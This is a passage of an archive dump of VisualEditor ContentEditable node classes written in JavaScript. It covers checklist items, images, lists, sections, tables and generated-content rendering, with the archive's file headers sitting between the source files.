	this.$element.on( 'click', this.onClick.bind( this ) );

	this.updateChecked();
};

/* Inheritance */

OO.inheritClass( ve.ce.CheckListItemNode, ve.ce.BranchNode );

/* Static Properties */

ve.ce.CheckListItemNode.static.name = 'checkListItem';

ve.ce.CheckListItemNode.static.tagName = 'li';

ve.ce.CheckListItemNode.static.splitOnEnter = true;

/* Methods */

/**
 * Handle click events on the checkbox
 *
 * @param {jQuery.Event} e Click event
 */
ve.ce.CheckListItemNode.prototype.onClick = function ( e ) {
	if ( e.target === this.$element[ 0 ] ) {
		// TODO: This should probably live in ui.Actions.
		var fragment = this.getRoot().getSurface().getModel().getLinearFragment( this.getOuterRange(), true );
		fragment.changeAttributes( { checked: !this.getModel().getAttribute( 'checked' ) } );
	}
};

/**
 * @param {string} key Attribute key
 * @param {string} from Old value
 * @param {string} to New value
 */
ve.ce.CheckListItemNode.prototype.onAttributeChange = function ( key ) {
	if ( key === 'checked' ) {
		this.updateChecked();
	}
};

ve.ce.CheckListItemNode.prototype.updateChecked = function () {
	this.$element.toggleClass( 've-ce-checkListItemNode-checked', !!this.getModel().getAttribute( 'checked' ) );
};

/* Registration */

ve.ce.nodeFactory.register( ve.ce.CheckListItemNode );
ce/nodes/ve.ce.InlineImageNode.js000066600000002526151334753760012616 0ustar00/*!
 * VisualEditor ContentEditable InlineImageNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable inline image node.
 *
 * @class
 * @extends ve.ce.LeafNode
 * @mixins ve.ce.ImageNode
 * @mixins ve.ce.ResizableNode
 *
 * @constructor
 * @param {ve.dm.InlineImageNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.InlineImageNode = function VeCeInlineImageNode( model, config ) {
	config = ve.extendObject( {
		minDimensions: { width: 1, height: 1 }
	}, config );

	// Parent constructor
	ve.ce.InlineImageNode.super.call( this, model, config );

	// Mixin constructors
	ve.ce.ImageNode.call( this, this.$element, null, config );

	// Initialization
	this.$element
		.addClass( 've-ce-inlineImageNode' )
		.prop( {
			alt: this.model.getAttribute( 'alt' ),
			src: this.getResolvedAttribute( 'src' )
		} )
		.css( {
			width: this.model.getAttribute( 'width' ),
			height: this.model.getAttribute( 'height' )
		} );
};

/* Inheritance */

OO.inheritClass( ve.ce.InlineImageNode, ve.ce.LeafNode );

OO.mixinClass( ve.ce.InlineImageNode, ve.ce.ImageNode );

/* Static Properties */

ve.ce.InlineImageNode.static.name = 'inlineImage';

ve.ce.InlineImageNode.static.tagName = 'img';

/* Registration */

ve.ce.nodeFactory.register( ve.ce.InlineImageNode );
ce/nodes/ve.ce.BlockImageNode.js000066600000003354151334753760012432 0ustar00/*!
 * VisualEditor ContentEditable block image node class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable block image node.
 *
 * @class
 * @extends ve.ce.BranchNode
 * @mixins ve.ce.ImageNode
 * @mixins ve.ce.AlignableNode
 *
 * @constructor
 * @param {ve.dm.BlockImageNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.BlockImageNode = function VeCeBlockImageNode( model, config ) {
	config = ve.extendObject( {
		minDimensions: { width: 1, height: 1 }
	}, config );

	// Parent constructor
	ve.ce.BlockImageNode.super.call( this, model, config );

	// Build DOM
	this.$image = $( '<img>' )
		.prop( 'src', this.getResolvedAttribute( 'src' ) )
		.prependTo( this.$element );

	// Mixin constructors
	ve.ce.ImageNode.call( this, this.$image, this.$image, config );
	ve.ce.AlignableNode.call( this, this.$element, config );

	// Initialization
	this.$element.addClass( 've-ce-blockImageNode' );
	this.$image
		.prop( {
			alt: this.model.getAttribute( 'alt' ),
			src: this.getResolvedAttribute( 'src' )
		} )
		.css( {
			width: this.model.getAttribute( 'width' ),
			height: this.model.getAttribute( 'height' )
		} );
};

/* Inheritance */

OO.inheritClass( ve.ce.BlockImageNode, ve.ce.BranchNode );

OO.mixinClass( ve.ce.BlockImageNode, ve.ce.ImageNode );

// Mixin Alignable's parent class
OO.mixinClass( ve.ce.BlockImageNode, ve.ce.ClassAttributeNode );

OO.mixinClass( ve.ce.BlockImageNode, ve.ce.AlignableNode );

/* Static Properties */

ve.ce.BlockImageNode.static.name = 'blockImage';

ve.ce.BlockImageNode.static.tagName = 'figure';

ve.ce.BlockImageNode.static.autoFocus = false;

/* Registration */

ve.ce.nodeFactory.register( ve.ce.BlockImageNode );
ce/nodes/ve.ce.DivNode.js000066600000001212151334753760011146 0ustar00/*!
 * VisualEditor ContentEditable DivNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable div node.
 *
 * @class
 * @extends ve.ce.BranchNode
 * @constructor
 * @param {ve.dm.DivNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.DivNode = function VeCeDivNode() {
	// Parent constructor
	ve.ce.DivNode.super.apply( this, arguments );
};

/* Inheritance */

OO.inheritClass( ve.ce.DivNode, ve.ce.BranchNode );

/* Static Properties */

ve.ce.DivNode.static.name = 'div';

/* Registration */

ve.ce.nodeFactory.register( ve.ce.DivNode );
ce/nodes/ve.ce.DefinitionListNode.js000066600000001557151334753760013364 0ustar00/*!
 * VisualEditor ContentEditable DefinitionListNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable definition list node.
 *
 * @class
 * @extends ve.ce.BranchNode
 * @constructor
 * @param {ve.dm.DefinitionListNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.DefinitionListNode = function VeCeDefinitionListNode() {
	// Parent constructor
	ve.ce.DefinitionListNode.super.apply( this, arguments );
};

/* Inheritance */

OO.inheritClass( ve.ce.DefinitionListNode, ve.ce.BranchNode );

/* Static Properties */

ve.ce.DefinitionListNode.static.name = 'definitionList';

ve.ce.DefinitionListNode.static.tagName = 'dl';

ve.ce.DefinitionListNode.static.removeEmptyLastChildOnEnter = true;

/* Registration */

ve.ce.nodeFactory.register( ve.ce.DefinitionListNode );
ce/nodes/ve.ce.SectionNode.js000066600000003047151334753760012040 0ustar00/*!
 * VisualEditor ContentEditable SectionNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable section node.
 *
 * @class
 * @extends ve.ce.BranchNode
 * @mixins ve.ce.ActiveNode
 * @constructor
 * @param {ve.dm.SectionNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.SectionNode = function VeCeSectionNode() {
	// Parent constructor
	ve.ce.SectionNode.super.apply( this, arguments );

	// Events
	this.model.connect( this, { update: 'onUpdate' } );

	// Mixin constructors
	ve.ce.ActiveNode.call( this );

	// DOM changes
	this.$element.addClass( 've-ce-sectionNode' );
};

/* Inheritance */

OO.inheritClass( ve.ce.SectionNode, ve.ce.BranchNode );

OO.mixinClass( ve.ce.SectionNode, ve.ce.ActiveNode );

/* Static Properties */

ve.ce.SectionNode.static.name = 'section';

/* Methods */

/**
 * Get the HTML tag name.
 *
 * Tag name is selected based on the model's style attribute.
 *
 * @return {string} HTML tag name
 */
ve.ce.SectionNode.prototype.getTagName = function () {
	var style = this.model.getAttribute( 'style' );

	if ( this.model.constructor.static.matchTagNames.indexOf( style ) === -1 ) {
		throw new Error( 'Invalid style' );
	}
	return style;
};

/**
 * Handle model update events.
 *
 * If the style changed since last update the DOM wrapper will be replaced with an appropriate one.
 */
ve.ce.SectionNode.prototype.onUpdate = function () {
	this.updateTagName();
};

/* Registration */

ve.ce.nodeFactory.register( ve.ce.SectionNode );
ce/nodes/ve.ce.BlockquoteNode.js000066600000001571151334753760012544 0ustar00/*!
 * VisualEditor ContentEditable BlockquoteNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 * @license The MIT License (MIT); see LICENSE.txt
 */

/**
 * ContentEditable Blockquote node.
 *
 * @class
 * @extends ve.ce.BranchNode
 * @constructor
 * @param {ve.dm.BlockquoteNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.BlockquoteNode = function VeCeBlockquoteNode() {
	// Parent constructor
	ve.ce.BlockquoteNode.super.apply( this, arguments );
};

/* Inheritance */

OO.inheritClass( ve.ce.BlockquoteNode, ve.ce.BranchNode );

/* Static Properties */

ve.ce.BlockquoteNode.static.name = 'blockquote';

ve.ce.BlockquoteNode.static.tagName = 'blockquote';

ve.ce.BlockquoteNode.static.removeEmptyLastChildOnEnter = true;

/* Registration */

ve.ce.nodeFactory.register( ve.ce.BlockquoteNode );
ce/nodes/ve.ce.TableSectionNode.js000066600000002771151334753760013013 0ustar00/*!
 * VisualEditor ContentEditable TableSectionNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable table section node.
 *
 * @class
 * @extends ve.ce.BranchNode
 * @constructor
 * @param {ve.dm.TableSectionNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.TableSectionNode = function VeCeTableSectionNode() {
	// Parent constructor
	ve.ce.TableSectionNode.super.apply( this, arguments );

	// Events
	this.model.connect( this, { update: 'onUpdate' } );
};

/* Inheritance */

OO.inheritClass( ve.ce.TableSectionNode, ve.ce.BranchNode );

/* Static Properties */

ve.ce.TableSectionNode.static.name = 'tableSection';

/* Methods */

/**
 * Get the HTML tag name.
 *
 * Tag name is selected based on the model's style attribute.
 *
 * @return {string} HTML tag name
 * @throws {Error} If style is invalid
 */
ve.ce.TableSectionNode.prototype.getTagName = function () {
	var style = this.model.getAttribute( 'style' ),
		types = { header: 'thead', body: 'tbody', footer: 'tfoot' };

	if ( !Object.prototype.hasOwnProperty.call( types, style ) ) {
		throw new Error( 'Invalid style' );
	}
	return types[ style ];
};

/**
 * Handle model update events.
 *
 * If the style changed since last update the DOM wrapper will be replaced with an appropriate one.
 */
ve.ce.TableSectionNode.prototype.onUpdate = function () {
	this.updateTagName();
};

/* Registration */

ve.ce.nodeFactory.register( ve.ce.TableSectionNode );
ce/nodes/ve.ce.ParagraphNode.js000066600000002211151334753760012331 0ustar00/*!
 * VisualEditor ContentEditable ParagraphNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable paragraph node.
 *
 * @class
 * @extends ve.ce.ContentBranchNode
 * @constructor
 * @param {ve.dm.ParagraphNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.ParagraphNode = function VeCeParagraphNode() {
	// Parent constructor
	ve.ce.ParagraphNode.super.apply( this, arguments );

	// DOM changes
	if (
		this.model.getElement().internal &&
		this.model.getElement().internal.generated === 'wrapper'
	) {
		this.$element.addClass( 've-ce-generated-wrapper' );
	}
};

/* Inheritance */

OO.inheritClass( ve.ce.ParagraphNode, ve.ce.ContentBranchNode );

/* Static Properties */

ve.ce.ParagraphNode.static.name = 'paragraph';

ve.ce.ParagraphNode.static.tagName = 'p';

/* Methods */

/**
 * @inheritdoc
 */
ve.ce.ParagraphNode.prototype.initialize = function () {
	ve.ce.ParagraphNode.super.prototype.initialize.call( this );
	this.$element.addClass( 've-ce-paragraphNode' );
};

/* Registration */

ve.ce.nodeFactory.register( ve.ce.ParagraphNode );
ce/nodes/ve.ce.AlienTableCellNode.js000066600000001530151334753760013227 0ustar00/*!
 * VisualEditor ContentEditable AlienTableCellNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable alien table cell node.
 *
 * @class
 * @extends ve.ce.AlienNode
 *
 * @constructor
 * @param {ve.dm.AlienTableCellNode} model
 * @param {Object} [config]
 */
ve.ce.AlienTableCellNode = function VeCeAlienTableCellNode() {
	// Parent constructor
	ve.ce.AlienTableCellNode.super.apply( this, arguments );

	// Mixin constructors
	ve.ce.TableCellableNode.call( this );
};

/* Inheritance */

OO.inheritClass( ve.ce.AlienTableCellNode, ve.ce.AlienNode );

OO.mixinClass( ve.ce.AlienTableCellNode, ve.ce.TableCellableNode );

/* Static Properties */

ve.ce.AlienTableCellNode.static.name = 'alienTableCell';

/* Registration */

ve.ce.nodeFactory.register( ve.ce.AlienTableCellNode );
ce/nodes/ve.ce.GeneratedContentNode.js000066600000032451151334753760013666 0ustar00/*!
 * VisualEditor ContentEditable GeneratedContentNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable generated content node.
 *
 * @class
 * @abstract
 *
 * @constructor
 */
ve.ce.GeneratedContentNode = function VeCeGeneratedContentNode() {
	// Properties
	this.generatingPromise = null;
	this.generatedContentsInvalid = null;

	// Events
	this.model.connect( this, { update: 'onGeneratedContentNodeUpdate' } );
	this.connect( this, { teardown: 'abortGenerating' } );

	// Initialization
	this.update();
};

/* Inheritance */

OO.initClass( ve.ce.GeneratedContentNode );

/* Events */

/**
 * @event setup
 */

/**
 * @event teardown
 */

/**
 * @event rerender
 */

/* Static members */

// We handle rendering ourselves, no need to render attributes from originalDomElements
ve.ce.GeneratedContentNode.static.renderHtmlAttributes = false;

/* Static methods */

/**
 * Wait for all content-generation within a given node to finish
 *
 * If no GeneratedContentNodes are within the node, a resolved promise will be
 * returned.
 *
 * @param  {ve.ce.View} view Any view node
 * @return {jQuery.Promise} Promise, resolved when content is generated
 */
ve.ce.GeneratedContentNode.static.awaitGeneratedContent = function ( view ) {
	var promises = [];

	function queueNode( node ) {
		if ( typeof node.generateContents === 'function' ) {
			if ( node.isGenerating() ) {
				var promise = ve.createDeferred();
				node.once( 'rerender', promise.resolve );
				promises.push( promise );
			}
		}
	}

	// Traverse children to see when they are all rerendered
	if ( view instanceof ve.ce.BranchNode ) {
		view.traverse( queueNode );
	} else {
		queueNode( view );
	}

	return ve.promiseAll( promises );
};

/* Abstract methods */

/**
 * Start a deferred process to generate the contents of the node.
 *
 * If successful, the returned promise must be resolved with the generated DOM elements passed
 * in as the first parameter, i.e. promise.resolve( domElements ); . Any other parameters to
 * .resolve() are ignored.
 *
 * If the returned promise object is abortable (has an .abort() method), .abort() will be called if
 * a newer update is started before the current update has finished. When a promise is aborted, it
 * should cease its work and shouldn't be resolved or rejected. If an outdated update's promise
 * is resolved or rejected anyway (which may happen if an aborted promise misbehaves, or if the
 * promise wasn't abortable), this is ignored and doneGenerating()/failGenerating() is not called.
 *
 * Additional data may be passed in the config object to instruct this function to render something
 * different than what's in the model. This data is implementation-specific and is passed through
 * by forceUpdate().
 *
 * @abstract
 * @method
 * @param {Object} [config] Optional additional data
 * @return {jQuery.Promise} Promise object, may be abortable
 */
ve.ce.GeneratedContentNode.prototype.generateContents = null;

/* Methods */

/**
 * Handler for the update event
 *
 * @param {boolean} staged Update happened in staging mode
 */
ve.ce.GeneratedContentNode.prototype.onGeneratedContentNodeUpdate = function ( staged ) {
	this.update( undefined, staged );
};

/**
 * Make an array of DOM elements suitable for rendering.
 *
 * Subclasses can override this to provide their own cleanup steps. This function takes an
 * array of DOM elements cloned within the source document and returns an array of DOM elements
 * cloned into the target document. If it's important that the DOM elements still be associated
 * with the original document, you should modify domElements before calling the parent
 * implementation, otherwise you should call the parent implementation first and modify its
 * return value.
 *
 * @param {Node[]} domElements Clones of the DOM elements from the store
 * @return {HTMLElement[]} Clones of the DOM elements in the right document, with modifications
 */
ve.ce.GeneratedContentNode.prototype.getRenderedDomElements = function ( domElements ) {
	var doc = this.getElementDocument();

	var rendering = this.filterRenderedDomElements(
		// Clone the elements into the target document
		ve.copyDomElements( domElements, doc )
	);

	if ( rendering.length ) {
		// Span wrap root text nodes so they can be measured
		rendering = rendering.map( function ( node ) {
			if ( node.nodeType === Node.TEXT_NODE ) {
				var span = document.createElement( 'span' );
				span.appendChild( node );
				return span;
			}
			return node;
		} );
		// Render the computed values of some attributes
		ve.resolveAttributes(
			rendering,
			domElements[ 0 ].ownerDocument,
			ve.dm.Converter.static.computedAttributes
		);
	} else {
		rendering = [ document.createElement( 'span' ) ];
	}

	return rendering;
};

/**
 * Filter out elements from the rendered content which we don't want to display in the CE.
 *
 * @param {Node[]} domElements Clones of the DOM elements from the store, already copied into the document
 * @return {Node[]} DOM elements to keep
 */
ve.ce.GeneratedContentNode.prototype.filterRenderedDomElements = function ( domElements ) {
	return ve.filterMetaElements( domElements );
};

/**
 * Rerender the contents of this node.
 *
 * @param {Object|string|Array} generatedContents Generated contents, in the default case an HTMLElement array
 * @param {boolean} [staged] Update happened in staging mode
 * @fires setup
 * @fires teardown
 */
ve.ce.GeneratedContentNode.prototype.render = function ( generatedContents, staged ) {
	var node = this;
	if ( this.live ) {
		this.emit( 'teardown' );
	}
	var $newElements = $( this.getRenderedDomElements( ve.copyDomElements( generatedContents ) ) );
	this.generatedContentsInvalid = !this.validateGeneratedContents( $( generatedContents ) );
	if ( !staged || !this.generatedContentsInvalid ) {
		if ( !this.$element[ 0 ].parentNode ) {
			// this.$element hasn't been attached yet, so just overwrite it
			this.$element = $newElements;
		} else {
			// Switch out this.$element (which can contain multiple siblings) in place
			var lengthChange = this.$element.length !== $newElements.length;
			this.$element.first().replaceWith( $newElements );
			this.$element.remove();
			this.$element = $newElements;
			if ( lengthChange ) {
				// Changing the DOM node count can move the cursor, so re-apply
				// the cursor position from the model (T231094).
				setTimeout( function () {
					if ( node.getRoot() && node.getRoot().getSurface() ) {
						node.getRoot().getSurface().showModelSelection();
					}
				} );
			}
		}
	} else {
		this.generatedContentsValid = false;
		this.model.emit( 'generatedContentsError', $newElements );
	}

	// Prevent tabbing to focusable elements inside the editable surface
	this.preventTabbingInside();

	// Update focusable and resizable elements if necessary
	// TODO: Move these method definitions to their respective mixins.
	if ( this.$focusable ) {
		this.$focusable = this.getFocusableElement();
		this.$bounding = this.getBoundingElement();
	}
	if ( this.$resizable ) {
		this.$resizable = this.getResizableElement();
	}

	this.initialize();
	if ( this.live ) {
		this.emit( 'setup' );
	}

	this.afterRender();
};

/**
 * Prevent tabbing to focusable elements inside the editable surface, because it conflicts with
 * allowing tabbing out of the surface. (The surface takes the focus back when it moves to an
 * element inside it.)
 *
 * In the future, this might be implemented using the `inert` property, currently not supported by
 * any browser: https://html.spec.whatwg.org/multipage/interaction.html#inert-subtrees
 * https://caniuse.com/mdn-api_htmlelement_inert
 *
 * @private
 */
ve.ce.GeneratedContentNode.prototype.preventTabbingInside = function () {
	// Like OO.ui.findFocusable(), but find *all* such nodes rather than the first one.
	var selector = 'input, select, textarea, button, object, a, area, [contenteditable], [tabindex]',
		$focusableCandidates = this.$element.find( selector ).addBack( selector );

	$focusableCandidates.each( function () {
		var $this = $( this );
		if ( OO.ui.isFocusableElement( $this ) ) {
			$this.attr( 'tabindex', -1 );
		}
	} );
};

/**
 * Trigger rerender events after rendering the contents of the node.
 *
 * Nodes may override this method if the rerender event needs to be deferred (e.g. until images have loaded)
 *
 * @fires rerender
 */
ve.ce.GeneratedContentNode.prototype.afterRender = function () {
	this.emit( 'rerender' );
};

/**
 * Check whether the response HTML contains an error.
 *
 * The default implementation always returns true.
 *
 * @param {jQuery} $element The generated element
 * @return {boolean} There is no error
 */
ve.ce.GeneratedContentNode.prototype.validateGeneratedContents = function () {
	return true;
};

/**
 * Update the contents of this node based on the model and config data. If this combination of
 * model and config data has been rendered before, the cached rendering in the store will be used.
 *
 * @param {Object} [config] Optional additional data to pass to generateContents()
 * @param {boolean} [staged] Update happened in staging mode
 */
ve.ce.GeneratedContentNode.prototype.update = function ( config, staged ) {
	var store = this.model.doc.getStore(),
		contents = store.value( store.hashOfValue( null, OO.getHash( [ this.model.getHashObjectForRendering(), config ] ) ) );
	if ( contents ) {
		this.render( contents, staged );
	} else {
		this.forceUpdate( config, staged );
	}
};

/**
 * Force the contents to be updated. Like update(), but bypasses the store.
 *
 * @param {Object} [config] Optional additional data to pass to generateContents()
 * @param {boolean} [staged] Update happened in staging mode
 */
ve.ce.GeneratedContentNode.prototype.forceUpdate = function ( config, staged ) {
	if ( this.generatingPromise ) {
		// Abort the currently pending generation process if possible
		this.abortGenerating();
	} else {
		// Only call startGenerating if we weren't generating before
		this.startGenerating();
	}

	var node = this;
	// Create a new promise
	var promise = this.generatingPromise = this.generateContents( config );
	promise
		// If this promise is no longer the currently pending one, ignore it completely
		.done( function ( generatedContents ) {
			if ( node.generatingPromise === promise ) {
				node.doneGenerating( generatedContents, config, staged );
			}
		} )
		.fail( function () {
			if ( node.generatingPromise === promise ) {
				node.failGenerating();
			}
		} );
};

/**
 * Called when the node starts generating new content.
 *
 * This function is only called when the node wasn't already generating content. If a second update
 * comes in, this function will only be called if the first update has already finished (i.e.
 * doneGenerating or failGenerating has already been called).
 */
ve.ce.GeneratedContentNode.prototype.startGenerating = function () {
	this.$element.addClass( 've-ce-generatedContentNode-generating' );
};

/**
 * Abort the currently pending generation, if any, and remove the generating CSS class.
 *
 * This invokes .abort() on the pending promise if the promise has that method. It also ensures
 * that if the promise does get resolved or rejected later, this is ignored.
 */
ve.ce.GeneratedContentNode.prototype.abortGenerating = function () {
	var promise = this.generatingPromise;
	if ( promise ) {
		// Unset this.generatingPromise first so that if the promise is resolved or rejected
		// from within .abort(), this is ignored as it should be
		this.generatingPromise = null;
		if ( typeof promise.abort === 'function' ) {
			promise.abort();
		}
	}
	this.$element.removeClass( 've-ce-generatedContentNode-generating' );
};

/**
 * Called when the node successfully finishes generating new content.
 *
 * @param {Object|string|Array} generatedContents Generated contents
 * @param {Object} [config] Config object passed to forceUpdate()
 * @param {boolean} [staged] Update happened in staging mode
 */
ve.ce.GeneratedContentNode.prototype.doneGenerating = function ( generatedContents, config, staged ) {
	this.$element.removeClass( 've-ce-generatedContentNode-generating' );
	this.generatingPromise = null;

	// Because doneGenerating is invoked asynchronously, the model node may have become detached
	// in the meantime. Handle this gracefully.
	if ( this.model && this.model.doc ) {
		var store = this.model.doc.getStore();
		var hash = OO.getHash( [ this.model.getHashObjectForRendering(), config ] );
		store.hash( generatedContents, hash );
		this.render( generatedContents, staged );
	}
};

/**
 * Called when the GeneratedContentNode has failed to generate new content.
 */
ve.ce.GeneratedContentNode.prototype.failGenerating = function () {
	this.$element.removeClass( 've-ce-generatedContentNode-generating' );
	this.generatingPromise = null;
};

/**
 * Check whether this GeneratedContentNode is currently generating new content.
 *
 * @return {boolean} Whether we're generating
 */
ve.ce.GeneratedContentNode.prototype.isGenerating = function () {
	return !!this.generatingPromise;
};

/**
 * Get the focusable element
 *
 * @return {jQuery} Focusable element
 */
ve.ce.GeneratedContentNode.prototype.getFocusableElement = function () {
	return this.$element;
};

/**
 * Get the bounding element
 *
 * @return {jQuery} Bounding element
 */
ve.ce.GeneratedContentNode.prototype.getBoundingElement = function () {
	return this.$element;
};

/**
 * Get the resizable element
 *
 * @return {jQuery} Resizable element
 */
ve.ce.GeneratedContentNode.prototype.getResizableElement = function () {
	return this.$element;
};
ce/nodes/ve.ce.UnrenderedNode.js000066600000001353151334753760012525 0ustar00/*!
 * VisualEditor ContentEditable UnrenderedNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable unrendered node
 *
 * Used for nodes which aren't children of attachedRoot
 *
 * Can be linked to any type of model node.
 *
 * @extends ve.ce.LeafNode
 *
 * @constructor
 * @param {ve.dm.Node} model
 * @param {Object} [config]
 */
ve.ce.UnrenderedNode = function VeCeUnrenderedNode() {
	// Parent constructor
	ve.ce.UnrenderedNode.super.apply( this, arguments );

	// Release unused DOM node
	this.$element = $( [] );
};

/* Inheritance */

OO.inheritClass( ve.ce.UnrenderedNode, ve.ce.LeafNode );

/* Static Properties */

ve.ce.UnrenderedNode.static.name = 'unrendered';
ce/nodes/ve.ce.ActiveNode.js000066600000004633151334753760011651 0ustar00/*!
 * VisualEditor ContentEditable ActiveNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Active nodes are editable sections that are nested inside
 * uneditable sections.
 *
 * @class
 * @mixins ve.ce.ContentEditableNode
 * @abstract
 *
 * @constructor
 */
ve.ce.ActiveNode = function VeCeActiveNode() {
	// Mixin constructor
	ve.ce.ContentEditableNode.call( this );

	// Properties
	this.activeNodeSurface = null;
	this.isActiveNodeSetup = false;

	// Events
	this.connect( this, {
		setup: 'onActiveNodeSetup',
		teardown: 'onActiveNodeTeardown'
	} );

	// DOM changes
	this.$element.addClass( 've-ce-activeNode' );
};

/* Inheritance */

OO.mixinClass( ve.ce.ActiveNode, ve.ce.ContentEditableNode );

/* Methods */

/**
 * Handle node setup
 */
ve.ce.ActiveNode.prototype.onActiveNodeSetup = function () {
	// Exit if already setup or not attached
	if ( this.isActiveNodeSetup || !this.root ) {
		return;
	}

	this.activeNodeSurface = this.getRoot().getSurface();

	// Events
	this.activeNodeSurface.getModel().connect( this, { select: 'onActiveNodeSurfaceModelSelect' } );

	this.isActiveNodeSetup = true;
};

/**
 * Handle node teardown
 */
ve.ce.ActiveNode.prototype.onActiveNodeTeardown = function () {
	if ( !this.isActiveNodeSetup ) {
		return;
	}

	var surface = this.activeNodeSurface;

	// Events
	surface.getModel().disconnect( this );

	if ( surface.getActiveNode() === this ) {
		surface.setActiveNode( null );
	}

	this.isActiveNodeSetup = false;
};

/**
 * Handle select events from the surface model.
 *
 * @param {ve.dm.Selection} selection
 */
ve.ce.ActiveNode.prototype.onActiveNodeSurfaceModelSelect = function ( selection ) {
	var coveringRange = selection.getCoveringRange(),
		surface = this.activeNodeSurface,
		activeNode = this;

	if ( coveringRange && this.model.getRange().containsRange( new ve.Range( coveringRange.from ) ) ) {
		// Only set this as the active node if active node is empty, or not a
		// descendant of this node.
		if (
			!surface.getActiveNode() ||
			!surface.getActiveNode().traverseUpstream( function ( node ) {
				return node !== activeNode;
			} )
		) {
			surface.setActiveNode( this );
		}
		this.$element.addClass( 've-ce-activeNode-active' );
	} else {
		if ( surface.getActiveNode() === this ) {
			surface.setActiveNode( null );
		}
		if ( !selection.isNull() ) {
			this.$element.removeClass( 've-ce-activeNode-active' );
		}
	}
};
ce/nodes/ve.ce.TableCaptionNode.js000066600000001756151334753760013006 0ustar00/*!
 * VisualEditor ContentEditable TableCaptionNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable table caption node.
 *
 * @class
 * @extends ve.ce.BranchNode
 * @mixins ve.ce.ActiveNode
 * @constructor
 * @param {ve.dm.TableCaptionNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.TableCaptionNode = function VeCeTableCaptionNode() {
	// Parent constructor
	ve.ce.TableCaptionNode.super.apply( this, arguments );

	// Mixin constructor
	ve.ce.ActiveNode.call( this );

	// DOM changes
	this.$element.addClass( 've-ce-tableCaptionNode' );
};

/* Inheritance */

OO.inheritClass( ve.ce.TableCaptionNode, ve.ce.BranchNode );

OO.mixinClass( ve.ce.TableCaptionNode, ve.ce.ActiveNode );

/* Static Properties */

ve.ce.TableCaptionNode.static.name = 'tableCaption';

ve.ce.TableCaptionNode.static.tagName = 'caption';

/* Registration */

ve.ce.nodeFactory.register( ve.ce.TableCaptionNode );
ce/nodes/ve.ce.ArticleNode.js000066600000001473151334753760012020 0ustar00/*!
 * VisualEditor ContentEditable ArticleNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable article node.
 *
 * @class
 * @extends ve.ce.BranchNode
 * @constructor
 * @param {ve.dm.ArticleNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.ArticleNode = function VeCeArticleNode() {
	// Parent constructor
	ve.ce.ArticleNode.super.apply( this, arguments );

	this.$element
		.addClass( 've-ce-articleNode' )
		.prop( 'contentEditable', 'false' );
};

/* Inheritance */

OO.inheritClass( ve.ce.ArticleNode, ve.ce.BranchNode );

/* Static Properties */

ve.ce.ArticleNode.static.name = 'article';

ve.ce.ArticleNode.static.tagName = 'article';

/* Registration */

ve.ce.nodeFactory.register( ve.ce.ArticleNode );
ce/nodes/ve.ce.ListNode.js000066600000002676151334753760011356 0ustar00/*!
 * VisualEditor ContentEditable ListNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable list node.
 *
 * @class
 * @extends ve.ce.BranchNode
 * @constructor
 * @param {ve.dm.ListNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.ListNode = function VeCeListNode() {
	// Parent constructor
	ve.ce.ListNode.super.apply( this, arguments );

	// Events
	this.model.connect( this, { update: 'onUpdate' } );
};

/* Inheritance */

OO.inheritClass( ve.ce.ListNode, ve.ce.BranchNode );

/* Static Properties */

ve.ce.ListNode.static.name = 'list';

ve.ce.ListNode.static.removeEmptyLastChildOnEnter = true;

/* Methods */

/**
 * Get the HTML tag name.
 *
 * Tag name is selected based on the model's style attribute.
 *
 * @return {string} HTML tag name
 * @throws {Error} If style is invalid
 */
ve.ce.ListNode.prototype.getTagName = function () {
	var style = this.model.getAttribute( 'style' ),
		types = { bullet: 'ul', number: 'ol' };

	if ( !Object.prototype.hasOwnProperty.call( types, style ) ) {
		throw new Error( 'Invalid style' );
	}
	return types[ style ];
};

/**
 * Handle model update events.
 *
 * If the style changed since last update the DOM wrapper will be replaced with an appropriate one.
 */
ve.ce.ListNode.prototype.onUpdate = function () {
	this.updateTagName();
};

/* Registration */

ve.ce.nodeFactory.register( ve.ce.ListNode );
ce/nodes/ve.ce.AlienBlockNode.js000066600000001253151334753760012434 0ustar00/*!
 * VisualEditor ContentEditable AlienBlockNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable alien block node.
 *
 * @class
 * @extends ve.ce.AlienNode
 *
 * @constructor
